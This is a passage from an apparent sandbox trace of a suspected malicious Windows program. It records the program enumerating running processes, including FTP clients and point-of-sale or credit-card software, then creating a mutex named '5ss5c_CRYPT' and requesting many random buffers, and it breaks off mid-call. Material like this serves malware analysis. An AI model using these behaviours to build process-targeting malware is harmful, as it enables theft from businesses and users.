hSnapshot=0x8c, lppe=0x18e9c0 | out: lppe=0x18e9c0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x98c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0121.014] Process32Next (in: hSnapshot=0x8c, lppe=0x18e9c0 | out: lppe=0x18e9c0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x99c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0121.015] Process32Next (in: hSnapshot=0x8c, lppe=0x18e9c0 | out: lppe=0x18e9c0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x9ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0121.016] Process32Next (in: hSnapshot=0x8c, lppe=0x18e9c0 | out: lppe=0x18e9c0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x9bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1 [0121.017] Process32Next (in: hSnapshot=0x8c, lppe=0x18e9c0 | out: lppe=0x18e9c0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x9cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="totalcmd.exe")) returned 1 [0121.018] Process32Next (in: hSnapshot=0x8c, lppe=0x18e9c0 | out: lppe=0x18e9c0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x9dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0121.019] Process32Next (in: hSnapshot=0x8c, lppe=0x18e9c0 | out: lppe=0x18e9c0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x9ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0121.019] Process32Next (in: hSnapshot=0x8c, lppe=0x18e9c0 | out: lppe=0x18e9c0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x9fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0121.020] Process32Next (in: hSnapshot=0x8c, lppe=0x18e9c0 | out: lppe=0x18e9c0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xa0c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0121.021] Process32Next (in: hSnapshot=0x8c, lppe=0x18e9c0 | out: lppe=0x18e9c0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xa1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0121.022] Process32Next (in: hSnapshot=0x8c, lppe=0x18e9c0 | out: lppe=0x18e9c0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xa2c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0121.023] Process32Next (in: hSnapshot=0x8c, lppe=0x18e9c0 | out: lppe=0x18e9c0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xa3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0121.024] Process32Next (in: hSnapshot=0x8c, lppe=0x18e9c0 | out: lppe=0x18e9c0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xa4c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0121.024] Process32Next (in: hSnapshot=0x8c, lppe=0x18e9c0 | out: lppe=0x18e9c0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xa5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0121.025] Process32Next (in: hSnapshot=0x8c, lppe=0x18e9c0 | out: lppe=0x18e9c0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xa6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0121.026] Process32Next (in: hSnapshot=0x8c, lppe=0x18e9c0 | out: lppe=0x18e9c0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xa7c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0121.027] Process32Next (in: hSnapshot=0x8c, lppe=0x18e9c0 | out: lppe=0x18e9c0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xa8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0121.028] Process32Next (in: hSnapshot=0x8c, lppe=0x18e9c0 | out: lppe=0x18e9c0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xa9c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0121.029] Process32Next (in: hSnapshot=0x8c, lppe=0x18e9c0 | out: lppe=0x18e9c0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xaac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0121.030] Process32Next (in: hSnapshot=0x8c, lppe=0x18e9c0 | out: lppe=0x18e9c0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xabc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0121.031] Process32Next (in: hSnapshot=0x8c, lppe=0x18e9c0 | out: lppe=0x18e9c0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xacc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0121.031] Process32Next (in: hSnapshot=0x8c, lppe=0x18e9c0 | out: lppe=0x18e9c0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xadc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0121.032] Process32Next (in: hSnapshot=0x8c, lppe=0x18e9c0 | out: lppe=0x18e9c0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xaec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0121.033] Process32Next (in: hSnapshot=0x8c, lppe=0x18e9c0 | out: lppe=0x18e9c0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xafc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0121.034] Process32Next (in: hSnapshot=0x8c, lppe=0x18e9c0 | out: lppe=0x18e9c0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xb0c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0121.035] Process32Next (in: hSnapshot=0x8c, lppe=0x18e9c0 | out: lppe=0x18e9c0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xb20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="charts.exe")) returned 1 [0121.036] Process32Next (in: hSnapshot=0x8c, lppe=0x18e9c0 | out: lppe=0x18e9c0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xb30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="jakeliberalcooked.exe")) returned 1 [0121.078] Process32Next (in: hSnapshot=0x8c, lppe=0x18e9c0 | out: lppe=0x18e9c0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xb40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="address_partners.exe")) returned 1 [0121.079] Process32Next (in: hSnapshot=0x8c, lppe=0x18e9c0 | out: lppe=0x18e9c0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xb50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="shipments-apache-broad.exe")) returned 1 [0121.079] Process32Next (in: hSnapshot=0x8c, lppe=0x18e9c0 | out: lppe=0x18e9c0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xb60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="vendor.exe")) returned 1 [0121.080] Process32Next (in: hSnapshot=0x8c, lppe=0x18e9c0 | out: lppe=0x18e9c0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xb8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0121.081] Process32Next (in: hSnapshot=0x8c, lppe=0x18e9c0 | out: lppe=0x18e9c0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xbc4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0121.082] Process32Next (in: hSnapshot=0x8c, lppe=0x18e9c0 | out: lppe=0x18e9c0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x560, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0121.082] Process32Next (in: hSnapshot=0x8c, lppe=0x18e9c0 | out: lppe=0x18e9c0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xb7c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb8, th32ParentProcessID=0x15c, pcPriClassBase=8, dwFlags=0x0, szExeFile="c.exe")) returned 1 [0121.083] Process32Next (in: hSnapshot=0x8c, lppe=0x18e9c0 | out: lppe=0x18e9c0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xfb0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xb7c, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0121.084] Process32Next (in: hSnapshot=0x8c, lppe=0x18e9c0 | out: lppe=0x18e9c0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xfc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0121.085] Process32Next (in: hSnapshot=0x8c, lppe=0x18e9c0 | out: lppe=0x18e9c0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x126c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xbc4, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0121.086] Process32Next (in: hSnapshot=0x8c, lppe=0x18e9c0 | out: lppe=0x18e9c0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x127c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0121.087] Process32Next (in: hSnapshot=0x8c, lppe=0x18e9c0 | out: lppe=0x18e9c0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xa08, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x126c, pcPriClassBase=8, dwFlags=0x0, szExeFile="c.exe")) returned 1 [0121.087] Process32Next (in: hSnapshot=0x8c, lppe=0x18e9c0 | out: lppe=0x18e9c0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x1114, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xfb0, pcPriClassBase=8, dwFlags=0x0, szExeFile="poc.exe")) returned 1 [0121.088] Process32Next (in: hSnapshot=0x8c, lppe=0x18e9c0 | out: lppe=0x18e9c0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x140c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x1114, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0121.089] Process32Next (in: hSnapshot=0x8c, lppe=0x18e9c0 | out: lppe=0x18e9c0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x141c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x140c, pcPriClassBase=8, dwFlags=0x0, szExeFile="star.exe")) returned 1 [0121.090] Process32Next (in: hSnapshot=0x8c, lppe=0x18e9c0 | out: lppe=0x18e9c0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x1434, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xa08, pcPriClassBase=8, dwFlags=0x0, szExeFile="cpt.exe")) returned 1 [0121.090] Process32Next (in: hSnapshot=0x8c, lppe=0x18e9c0 | out: lppe=0x18e9c0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x1448, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x1e0, pcPriClassBase=4, dwFlags=0x0, szExeFile="rundll32.exe")) returned 1 [0121.091] Process32Next (in: hSnapshot=0x8c, lppe=0x18e9c0 | out: lppe=0x18e9c0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x1448, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x1e0, pcPriClassBase=4, dwFlags=0x0, szExeFile="rundll32.exe")) returned 0 [0121.092] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="5ss5c_CRYPT") returned 0x84 [0121.092] GetLastError () returned 0x0 [0121.092] RtlAllocateHeap (HeapHandle=0x7b0000, Flags=0x0, Size=0x2c) returned 0x7cb628 [0121.092] RtlAllocateHeap (HeapHandle=0x7b0000, Flags=0x0, Size=0x84) returned 0x7d0208 [0121.092] LoadLibraryExW (lpLibFileName="api-ms-win-security-systemfunctions-l1-1-0", hFile=0x0, dwFlags=0x800) returned 0x0 [0121.092] GetLastError () returned 0x57 [0121.092] LoadLibraryExW (lpLibFileName="advapi32", hFile=0x0, dwFlags=0x800) returned 0x0 [0121.092] GetLastError () returned 0x57 [0121.092] LoadLibraryExW (lpLibFileName="advapi32", hFile=0x0, dwFlags=0x0) returned 0x754b0000 [0121.092] GetProcAddress (hModule=0x754b0000, lpProcName="SystemFunction036") returned 0x754b1919 [0121.092] SystemFunction036 (in: RandomBuffer=0x18eaec, RandomBufferLength=0x4 | out: RandomBuffer=0x18eaec) returned 1 [0121.093] SystemFunction036 (in: RandomBuffer=0x18eaec, RandomBufferLength=0x4 | out: RandomBuffer=0x18eaec) returned 1 [0121.093] SystemFunction036 (in: RandomBuffer=0x18eaec, RandomBufferLength=0x4 | out: RandomBuffer=0x18eaec) returned 1 [0121.093] SystemFunction036 (in: RandomBuffer=0x18eaec, RandomBufferLength=0x4 | out: RandomBuffer=0x18eaec) returned 1 [0121.093] SystemFunction036 (in: RandomBuffer=0x18eaec, RandomBufferLength=0x4 | out: RandomBuffer=0x18eaec) returned 1 [0121.093] SystemFunction036 (in: RandomBuffer=0x18eaec, RandomBufferLength=0x4 | out: RandomBuffer=0x18eaec) returned 1 [0121.093] SystemFunction036 (in: RandomBuffer=0x18eaec, RandomBufferLength=0x4 | out: RandomBuffer=0x18eaec) returned 1 [0121.093] SystemFunction036 (in: RandomBuffer=0x18eaec, RandomBufferLength=0x4 | out: RandomBuffer=0x18eaec) returned 1 [0121.093] SystemFunction036 (in: RandomBuffer=0x18eaec, RandomBufferLength=0x4 | out: RandomBuffer=0x18eaec) returned 1 [0121.093] SystemFunction036 (in: RandomBuffer=0x18eaec, RandomBufferLength=0x4 | out: RandomBuffer=0x18eaec) returned 1 [0121.093] SystemFunction036 (in: RandomBuffer=0x18eaec, RandomBufferLength=0x4 | out: RandomBuffer=0x18eaec) returned 1 [0121.093] SystemFunction036 (in: RandomBuffer=0x18eaec, RandomBufferLength=0x4 | out: RandomBuffer=0x18eaec) returned 1 [0121.093] SystemFunction036 (in: RandomBuffer=0x18eaec, RandomBufferLength=0x4 | out: RandomBuffer=0x18eaec) returned 1 [0121.093] SystemFunction036 (in: RandomBuffer=0x18eaec, RandomBufferLength=0x4 | out: RandomBuffer=0x18eaec) returned 1 [0121.093] SystemFunction036 (in: RandomBuffer=0x18eaec, RandomBufferLength=0x4 | out: RandomBuffer=0x18eaec) returned 1 [0121.093] SystemFunction036 (in: RandomBuffer=0x18eaec, RandomBufferLength=0x4 | out: RandomBuffer=0x18eaec) returned 1 [0121.093] RtlAllocateHeap (HeapHandle=0x7b0000, Flags=0x0, Size=0x44) returned 0x7c9628 [0121.094] SystemFunction036 (in: RandomBuffer=0x18eaec, RandomBufferLength=0x4 | out: RandomBuffer=0x18eaec) returned 1 [0121.094] SystemFunction036 (in: RandomBuffer=0x18eaec, RandomBufferLength=0x4 | out: RandomBuffer=0x18eaec) returned 1 [0121.094] SystemFunction036 (in: RandomBuffer=0x18eaec, RandomBufferLength=0x4 | out: RandomBuffer=0x18eaec) returned 1 [0121.094] SystemFunction036 (in: RandomBuffer=0x18eaec, RandomBufferLength=0x4 | out: RandomBuffer=0x18eaec) returned 1 [0121.094] SystemFunction036 (in: RandomBuffer=0x18eaec, RandomBufferLength=0x4 | out: RandomBuffer=0x18eaec) returned 1 [0121.094] SystemFunction036 (in: RandomBuffer=0x18eaec, RandomBufferLength=0x4 | out: RandomBuffer=0x18eaec) returned 1 [0121.094] SystemFunction036 (in: RandomBuffer=0x18eaec, RandomBufferLength=0x4 | out: RandomBuffer=0x18eaec) returned 1 [0121.094] SystemFunction036 (in: RandomBuffer=0x18eaec, RandomBufferLength=0x4 | out: RandomBuffer=0x18eaec) returned 1 [0121.094] SystemFunction036 (in: RandomBuffer=0x18eaec, RandomBufferLength=0x4 | out: RandomBuffer=0x18eaec) returned 1 [0121.094] SystemFunction036 (in: RandomBuffer=0x18eaec, RandomBufferLength=0x4 | out: RandomBuffer=0x18eaec) returned 1 [0121.094] SystemFunction036 (in: RandomBuffer=0x18eaec, RandomBufferLength=0x4 | out: RandomBuffer=0x18eaec) returned 1 [0121.094] SystemFunction036 (in: RandomBuffer=0x18eaec, RandomBufferLength=0x4 | out: RandomBuffer=0x18eaec) returned 1 [0121.094] SystemFunction036 (in: RandomBuffer=0x18eaec, RandomBufferLength=0x4 | out: RandomBuffer=0x18eaec) returned 1 [0121.094] SystemFunction036 (in: RandomBuffer=0x18eaec, RandomBufferLength=0x4 | out: RandomBuffer=0x18eaec) returned 1 [0121.094] SystemFunction036 (in: RandomBuffer=0x18eaec, RandomBufferLength=0x4 | out: RandomBuffer=0x18eaec) returned 1 [0121.094] SystemFunction036 (in: RandomBuffer=0x18eaec, RandomBufferLength=0x4 | out: RandomBuffer=0x18eaec) returned 1 [0121.094] RtlAllocateHeap (HeapHandle=0x7b0000, Flags=0x0, Size=0x54) returned 0x7d0648 [0121.094] HeapValidate (hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7c9628) returned 1 [0121.094] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7c9628 | out: hHeap=0x7b0000) returned 1 [0121.094] SystemFunction036 (in: RandomBuffer=0x18eaec, RandomBufferLength=0x4 | out: RandomBuffer=0x18eaec) returned 1 [0121.094] SystemFunction036 (in: RandomBuffer=0x18eaec, RandomBufferLength=0x4 | out: RandomBuffer=0x18eaec) returned 1 [0121.094] SystemFunction036 (in: RandomBuffer=0x18eaec, RandomBufferLength=0x4 | out: RandomBuffer=0x18eaec) returned 1 [0121.094] SystemFunction036 (in: RandomBuffer=0x18eaec, RandomBufferLength=0x4 | out: RandomBuffer=0x18eaec) returned 1 [0121.094] SystemFunction036 (in: RandomBuffer=0x18eaec, RandomBufferLength=0x4 | out: RandomBuffer=0x18eaec) returned 1 [0121.094] SystemFunction036 (in: RandomBuffer=0x18eaec, RandomBufferLength=0x4 | out: RandomBuffer=0x18eaec) returned 1 [0121.094] SystemFunction036 (in: RandomBuffer=0x18eaec, RandomBufferLength=0x4 | out: RandomBuffer=0x18eaec) returned 1 [0121.094] SystemFunction036 (in: RandomBuffer=0x18eaec, RandomBufferLength=0x4 | out: RandomBuffer=0x18eaec) returned 1 [0121.094] SystemFunction036 (in: RandomBuffer=0x18eaec, RandomBufferLength=0x4 | out: RandomBuffer=0x18eaec) returned 1 [0121.094] SystemFunction036 (in: RandomBuffer=0x18eaec, RandomBufferLength=0x4 | out: RandomBuffer=0x18eaec) returned 1 [0121.094] SystemFunction036 (in: RandomBuffer=0x18eaec, RandomBufferLength=0x4 | out: RandomBuffer=0x18eaec) returned 1 [0121.094] SystemFunction036 (in: RandomBuffer=0x18eaec, RandomBufferLength=0x4 | out: RandomBuffer=0x18eaec) returned 1 [0121.095] SystemFunction036 (in: RandomBuffer=0x18eaec, RandomBufferLength=0x4 | out: RandomBuffer=0x18eaec) returned 1 [0121.095] SystemFunction036 (in: RandomBuffer=0x18eaec, RandomBufferLength=0x4 | out: RandomBuffer=0x18eaec) returned 1 [0121.095] SystemFunction036 (in: RandomBuffer=0x18eaec, RandomBufferLength=0x4 | out: RandomBuffer=0x18eaec) returned 1 [0121.095] SystemFunction036 (in: RandomBuffer=0x18eaec, RandomBufferLength=0x4 | out: RandomBuffer=0x18eaec) returned 1 [0121.095] RtlAllocateHeap (HeapHandle=0x7b0000, Flags=0x0, Size=0x6b) returned 0x7d06a8 [0121.095] HeapValidate (hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7d0648) returned 1 [0121.095] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7d0648 | out: hHeap=0x7b0000) returned 1 [0121.095] SystemFunction036 (in: RandomBuffer=0x18eaec, RandomBufferLength=0x4 | out: RandomBuffer=0x18eaec) returned 1 [0121.095] SystemFunction036 (in: RandomBuffer=0x18eaec, RandomBufferLength=0x4 | out: RandomBuffer=0x18eaec) returned 1 [0121.095] SystemFunction036 (in: RandomBuffer=0x18eaec, RandomBufferLength=0x4 | out: RandomBuffer=0x18eaec) returned 1 [0121.095] SystemFunction036 (in: RandomBuffer=0x18eaec, RandomBufferLength=0x4 | out: RandomBuffer=0x18eaec) returned 1 [0121.095] SystemFunction036 (in: RandomBuffer=0x18eaec, RandomBufferLength=0x4 | out: RandomBuffer=0x18eaec) returned 1 [0121.095] SystemFunction036 (in: RandomBuffer=0x18eaec, RandomBufferLength=0x4 | out: RandomBuffer=0x18eaec) returned 1 [0121.095] SystemFunction036 (in: RandomBuffer=0x18eaec, RandomBufferLength=0x4 | out: RandomBuffer=0x18eaec) returned 1 [0121.095] SystemFunction036 (in: RandomBuffer=0x18eaec, RandomBufferLength=0x4 | out: RandomBuffer=0x18eaec) returned 1 [0121.095] SystemFunction036 (in: RandomBuffer=0x18eaec, RandomBufferLength=0x4 | out: RandomBuffer=0x18eaec) returned 1 [0121.095] SystemFunction036 (in: RandomBuffer=0x18eaec, RandomBufferLength=0x4 | out: RandomBuffer=0x18eaec) returned 1 [0121.095] SystemFunction036 (in: RandomBuffer=0x18eaec, RandomBufferLength=0x4 | out: RandomBuffer=0x18eaec) returned 1 [0121.095] SystemFunction036 (in: RandomBuffer=0x18eaec, RandomBufferLength=0x4 | out: RandomBuffer=0x18eaec) returned 1 [0121.095] SystemFunction036 (in: RandomBuffer=0x18eaec, RandomBufferLength=0x4 | out: RandomBuffer=0x18eaec) returned 1 [0121.095] SystemFunction036 (in: RandomBuffer=0x18eaec, RandomBufferLength=0x4 | out: RandomBuffer=0x18eaec) returned 1 [0121.095] SystemFunction036 (in: RandomBuffer=0x18eaec, RandomBufferLength=0x4 | out: RandomBuffer=0x18eaec) returned 1 [0121.095] SystemFunction036 (in: RandomBuffer=0x18eaec, RandomBufferLength=0x4 | out: RandomBuffer=0x18eaec) returned 1 [0121.095] SystemFunction036 (in: RandomBuffer=0x18eaec, RandomBufferLength=0x4 | out: RandomBuffer=0x18eaec) returned 1 [0121.095] SystemFunction036 (in: RandomBuffer=0x18eaec, RandomBufferLength=0x4 | out: RandomBuffer=0x18eaec) returned 1 [0121.095] SystemFunction036 (in: RandomBuffer=0x18eaec, RandomBufferLength=0x4 | out: RandomBuffer=0x18eaec) returned 1 [0121.095] SystemFunction036 (in: RandomBuffer=0x18eaec, RandomBufferLength=0x4 | out: RandomBuffer=0x18eaec) returned 1 [0121.095] SystemFunction036 (in: RandomBuffer=0x18eaec, RandomBufferLength=0x4 | out: RandomBuffer=0x18eaec) returned 1 [0121.095] SystemFunction036 (in: RandomBuffer=0x18eaec, RandomBufferLength=0x4 | out: RandomBuffer=0x18eaec) returned 1 [0121.095] SystemFunction036 (in: RandomBuffer=0x18eaec, RandomBufferLength=0x4 | out: RandomBuffer=0x18eaec) returned 1 [0121.095] RtlAllocateHeap (HeapHandle=0x7b0000, Flags=0x0, Size=0x8e) returned 0x7d0720 [0121.095] HeapValidate (hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7d06a8) returned 1 [0121.096] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7d06a8 | out: hHeap=0x7b0000) returned 1 [0121.096] SystemFunction036 (in: RandomBuffer=0x18eaec, RandomBufferLength=0x4 | out: RandomBuffer=0x18eaec) returned 1 [0121.096] SystemFunction036 (in: RandomBuffer=0x18eaec, RandomBufferLength=0x4 | out: RandomBuffer=0x18eaec) returned 1 [0121.096] SystemFunction036 (in: RandomBuffer=0x18eaec, RandomBufferLength=0x4 | out: RandomBuffer=0x18eaec) returned 1 [0121.096] SystemFunction036 (in: RandomBuffer=0x18eaec, RandomBufferLength=0x4 | out: RandomBuffer=0x18eaec) returned 1 [0121.096] SystemFunction036 (in: RandomBuffer=0x18eaec, RandomBufferLength=0x4 | out: RandomBuffer=0x18eaec) returned 1 [0121.096] SystemFunction036 (in: RandomBuffer=0x18eaec, RandomBufferLength=0x4 | out: RandomBuffer=0x18eaec) returned 1 [0121.096] SystemFunction036 (in: RandomBuffer=0x18eaec, RandomBufferLength=0x4 | out: RandomBuffer=0x18eaec) returned 1 [0121.096] SystemFunction036 (in: RandomBuffer=0x18eaec, RandomBufferLength=0x4 | out: RandomBuffer=0x18eaec) returned 1 [0121.096] SystemFunction036 (in: RandomBuffer=0x18eaec, RandomBufferLength=0x4 | out: RandomBuffer=0x18eaec) returned 1 [0121.096] SystemFunction036 (in: RandomBuffer=0x18eaec, RandomBufferLength=0x4 | out: RandomBuffer=0x18eaec) returned 1 [0121.096] SystemFunction036 (in: RandomBuffer=0x18eaec, RandomBufferLength=0x4 | out: RandomBuffer=0x18eaec) returned 1 [0121.096] SystemFunction036 (in: RandomBuffer=0x18eaec, RandomBufferLength=0x4 | out: RandomBuffer=0x18eaec) returned 1 [0121.096] SystemFunction036 (in: RandomBuffer=0x18eaec, RandomBufferLength=0x4 | out: RandomBuffer=0x18eaec) returned 1 [0121.096] SystemFunction036 (in: RandomBuffer=0x18eaec, RandomBufferLength=0x4 | out: RandomBuffer=0x18eaec) returned 1 [0121.096] SystemFunction036 (in: RandomBuffer=0x18eaec, RandomBufferLength=0x4 | out: RandomBuffer=0x18eaec) returned 1 [0121.096] SystemFunction036 (in: RandomBuffer=0x18eaec, RandomBufferLength=0x4 | out: 